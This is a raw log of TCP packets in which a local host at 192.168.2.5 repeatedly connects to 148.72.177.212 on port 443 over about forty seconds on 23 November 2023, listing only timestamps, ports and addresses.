Nov 23, 2023 01:10:48.175704002 CET	49776	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:49.356194973 CET	49776	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:49.356225014 CET	443	49776	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:49.356542110 CET	443	49776	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:49.387242079 CET	49776	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:49.387293100 CET	443	49776	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:49.387346983 CET	49776	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:50.501422882 CET	49777	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:50.501450062 CET	443	49777	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:50.501518011 CET	49777	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:50.502791882 CET	49777	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:50.502803087 CET	443	49777	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:50.755620956 CET	443	49777	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:50.755733967 CET	49777	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:50.757319927 CET	49777	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:50.757327080 CET	443	49777	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:50.757533073 CET	443	49777	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:50.759718895 CET	49777	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:50.759746075 CET	443	49777	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:50.759814978 CET	49777	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:51.875897884 CET	49778	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:51.875984907 CET	443	49778	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:51.876111984 CET	49778	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:51.877146006 CET	49778	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:51.877182007 CET	443	49778	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:52.130572081 CET	443	49778	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:52.130763054 CET	49778	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:52.134134054 CET	49778	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:52.134159088 CET	443	49778	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:52.134397030 CET	443	49778	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:52.138451099 CET	49778	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:52.138511896 CET	443	49778	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:52.138585091 CET	49778	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:53.266585112 CET	49779	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:53.266613007 CET	443	49779	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:53.266707897 CET	49779	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:53.267556906 CET	49779	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:53.267574072 CET	443	49779	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:53.524012089 CET	443	49779	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:53.524092913 CET	49779	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:53.527344942 CET	49779	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:53.527350903 CET	443	49779	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:53.527594090 CET	443	49779	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:53.531337976 CET	49779	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:53.531369925 CET	443	49779	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:53.531431913 CET	49779	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:54.657212973 CET	49780	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:54.657267094 CET	443	49780	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:54.657433987 CET	49780	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:54.658570051 CET	49780	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:54.658591032 CET	443	49780	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:54.914340019 CET	443	49780	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:54.914464951 CET	49780	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:54.916368008 CET	49780	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:54.916382074 CET	443	49780	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:54.916589975 CET	443	49780	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:54.920263052 CET	49780	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:54.920301914 CET	443	49780	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:54.920370102 CET	49780	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:56.047622919 CET	49781	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:56.047720909 CET	443	49781	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:56.047807932 CET	49781	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:56.048425913 CET	49781	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:56.048465014 CET	443	49781	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:56.301230907 CET	443	49781	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:56.301347971 CET	49781	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:56.303479910 CET	49781	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:56.303493977 CET	443	49781	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:56.303738117 CET	443	49781	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:56.307733059 CET	49781	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:56.307775974 CET	443	49781	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:56.307873011 CET	49781	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:56.307877064 CET	443	49781	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:56.307941914 CET	49781	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:57.422993898 CET	49782	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:57.423027992 CET	443	49782	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:57.423136950 CET	49782	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:57.424055099 CET	49782	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:57.424067974 CET	443	49782	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:57.673938036 CET	443	49782	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:57.674032927 CET	49782	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:57.675899982 CET	49782	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:57.675915003 CET	443	49782	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:57.676122904 CET	443	49782	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:57.679795980 CET	49782	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:57.679833889 CET	443	49782	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:57.679903984 CET	49782	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:58.798199892 CET	49783	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:58.798237085 CET	443	49783	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:58.798325062 CET	49783	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:58.799339056 CET	49783	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:58.799346924 CET	443	49783	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:59.052654028 CET	443	49783	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:59.052742958 CET	49783	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:59.054866076 CET	49783	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:59.054872990 CET	443	49783	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:59.055119038 CET	443	49783	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:59.059174061 CET	49783	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:59.059197903 CET	443	49783	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:59.059259892 CET	49783	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:00.172507048 CET	49784	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:00.172544003 CET	443	49784	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:00.172625065 CET	49784	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:00.173501968 CET	49784	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:00.173513889 CET	443	49784	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:00.426115990 CET	443	49784	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:00.426193953 CET	49784	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:00.427669048 CET	49784	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:00.427675009 CET	443	49784	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:00.427876949 CET	443	49784	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:00.430778980 CET	49784	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:00.430807114 CET	443	49784	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:00.430862904 CET	49784	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:01.550158024 CET	49785	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:01.550246954 CET	443	49785	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:01.550343037 CET	49785	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:01.550867081 CET	49785	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:01.550904036 CET	443	49785	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:01.801222086 CET	443	49785	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:01.801299095 CET	49785	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:01.803101063 CET	49785	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:01.803112030 CET	443	49785	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:01.803319931 CET	443	49785	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:01.805314064 CET	49785	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:01.805350065 CET	443	49785	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:01.805408955 CET	49785	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:02.922806025 CET	49786	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:02.922837973 CET	443	49786	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:02.922928095 CET	49786	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:02.923886061 CET	49786	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:02.923897028 CET	443	49786	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:03.177484989 CET	443	49786	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:03.177615881 CET	49786	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:03.179847956 CET	49786	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:03.179853916 CET	443	49786	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:03.180089951 CET	443	49786	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:03.183892012 CET	49786	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:03.183926105 CET	443	49786	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:03.184007883 CET	49786	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:04.297919035 CET	49787	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:04.297971964 CET	443	49787	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:04.298068047 CET	49787	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:04.299155951 CET	49787	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:04.299175024 CET	443	49787	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:04.555094957 CET	443	49787	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:04.555162907 CET	49787	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:04.557952881 CET	49787	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:04.557964087 CET	443	49787	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:04.558196068 CET	443	49787	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:04.561835051 CET	49787	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:04.561872005 CET	443	49787	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:04.561920881 CET	49787	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:07.152829885 CET	49788	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:07.152864933 CET	443	49788	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:07.152954102 CET	49788	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:07.153558969 CET	49788	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:07.153565884 CET	443	49788	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:07.406970024 CET	443	49788	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:07.407068968 CET	49788	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:07.492711067 CET	49788	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:07.492723942 CET	443	49788	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:07.492961884 CET	443	49788	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:07.495414972 CET	49788	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:07.495434046 CET	443	49788	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:07.495486975 CET	49788	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:08.610950947 CET	49789	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:08.610985994 CET	443	49789	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:08.611087084 CET	49789	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:08.611875057 CET	49789	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:08.611890078 CET	443	49789	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:08.867523909 CET	443	49789	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:08.867638111 CET	49789	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:08.869396925 CET	49789	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:08.869405985 CET	443	49789	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:08.869640112 CET	443	49789	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:08.874293089 CET	49789	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:08.874330044 CET	443	49789	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:08.874404907 CET	49789	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:10.000993013 CET	49790	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:10.001085043 CET	443	49790	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:10.001203060 CET	49790	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:10.002343893 CET	49790	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:10.002382040 CET	443	49790	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:10.258567095 CET	443	49790	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:10.258697033 CET	49790	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:10.261158943 CET	49790	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:10.261176109 CET	443	49790	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:10.261464119 CET	443	49790	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:10.265033960 CET	49790	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:10.265080929 CET	443	49790	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:10.265163898 CET	49790	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:11.391659975 CET	49791	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:11.391697884 CET	443	49791	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:11.391783953 CET	49791	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:11.392740011 CET	49791	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:11.392755985 CET	443	49791	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:11.651319981 CET	443	49791	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:11.651490927 CET	49791	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:11.653649092 CET	49791	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:11.653662920 CET	443	49791	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:11.654012918 CET	443	49791	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:11.658252954 CET	49791	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:11.658304930 CET	443	49791	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:11.658382893 CET	49791	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:12.782427073 CET	49792	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:12.782454967 CET	443	49792	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:12.782546043 CET	49792	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:12.783740997 CET	49792	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:12.783756018 CET	443	49792	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:13.041239977 CET	443	49792	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:13.041321993 CET	49792	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:13.043545008 CET	49792	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:13.043557882 CET	443	49792	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:13.043813944 CET	443	49792	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:13.047591925 CET	49792	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:13.047646046 CET	443	49792	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:13.047709942 CET	49792	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:14.174833059 CET	49793	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:14.174864054 CET	443	49793	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:14.174943924 CET	49793	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:14.175576925 CET	49793	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:14.175590038 CET	443	49793	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:14.428832054 CET	443	49793	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:14.428962946 CET	49793	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:14.431492090 CET	49793	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:14.431498051 CET	443	49793	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:14.431731939 CET	443	49793	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:14.435882092 CET	49793	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:14.435914040 CET	443	49793	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:14.435981035 CET	49793	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:15.562876940 CET	49794	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:15.562933922 CET	443	49794	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:15.563016891 CET	49794	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:15.563514948 CET	49794	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:15.563534975 CET	443	49794	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:15.821784019 CET	443	49794	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:15.821891069 CET	49794	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:15.824011087 CET	49794	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:15.824027061 CET	443	49794	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:15.824254036 CET	443	49794	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:15.828006029 CET	49794	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:15.828043938 CET	443	49794	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:15.828104973 CET	49794	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:16.953504086 CET	49795	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:16.953547001 CET	443	49795	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:16.953742027 CET	49795	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:16.954993010 CET	49795	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:16.955004930 CET	443	49795	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:17.205339909 CET	443	49795	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:17.205573082 CET	49795	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:17.207972050 CET	49795	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:17.207979918 CET	443	49795	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:17.208220005 CET	443	49795	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:17.211997032 CET	49795	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:17.212030888 CET	443	49795	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:17.212104082 CET	49795	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:18.328671932 CET	49796	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:18.328738928 CET	443	49796	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:18.328949928 CET	49796	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:18.329658031 CET	49796	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:18.329684019 CET	443	49796	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:18.586015940 CET	443	49796	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:18.586215019 CET	49796	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:18.588429928 CET	49796	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:18.588462114 CET	443	49796	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:18.588717937 CET	443	49796	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:18.592545986 CET	49796	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:18.592586994 CET	443	49796	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:18.592670918 CET	49796	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:19.719500065 CET	49797	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:19.719558954 CET	443	49797	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:19.719645023 CET	49797	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:19.720104933 CET	49797	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:19.720123053 CET	443	49797	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:19.975915909 CET	443	49797	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:19.976063013 CET	49797	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:19.978650093 CET	49797	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:19.978674889 CET	443	49797	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:19.978930950 CET	443	49797	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:19.982981920 CET	49797	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:19.983027935 CET	443	49797	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:19.983098030 CET	49797	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:21.110352993 CET	49798	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:21.110389948 CET	443	49798	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:21.110481977 CET	49798	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:21.111515999 CET	49798	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:21.111530066 CET	443	49798	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:21.369589090 CET	443	49798	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:21.369709969 CET	49798	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:21.372061968 CET	49798	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:21.372082949 CET	443	49798	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:21.372349024 CET	443	49798	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:21.375809908 CET	49798	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:21.375857115 CET	443	49798	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:21.375935078 CET	49798	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:22.500819921 CET	49799	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:22.500870943 CET	443	49799	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:22.500993013 CET	49799	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:22.501980066 CET	49799	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:22.501987934 CET	443	49799	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:22.758064032 CET	443	49799	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:22.758169889 CET	49799	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:22.760270119 CET	49799	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:22.760274887 CET	443	49799	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:22.760492086 CET	443	49799	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:22.764353991 CET	49799	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:22.764375925 CET	443	49799	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:22.764430046 CET	49799	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:23.890989065 CET	49800	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:23.891032934 CET	443	49800	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:23.891109943 CET	49800	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:23.891527891 CET	49800	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:23.891536951 CET	443	49800	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:24.141798019 CET	443	49800	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:24.141926050 CET	49800	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:24.144989967 CET	49800	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:24.144994020 CET	443	49800	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:24.145225048 CET	443	49800	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:24.151479959 CET	49800	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:24.151515007 CET	443	49800	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:24.151599884 CET	49800	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:25.266983032 CET	49801	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:25.267085075 CET	443	49801	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:25.267189980 CET	49801	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:25.268301964 CET	49801	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:25.268341064 CET	443	49801	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:25.521166086 CET	443	49801	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:25.521394014 CET	49801	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:25.523931026 CET	49801	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:25.523957968 CET	443	49801	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:25.524208069 CET	443	49801	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:25.528296947 CET	49801	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:25.528347015 CET	443	49801	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:25.528426886 CET	49801	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:26.641813993 CET	49802	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:26.641859055 CET	443	49802	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:26.641952038 CET	49802	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:26.643073082 CET	49802	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:26.643085957 CET	443	49802	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:26.896653891 CET	443	49802	148.72.177.212	192.168.2.5
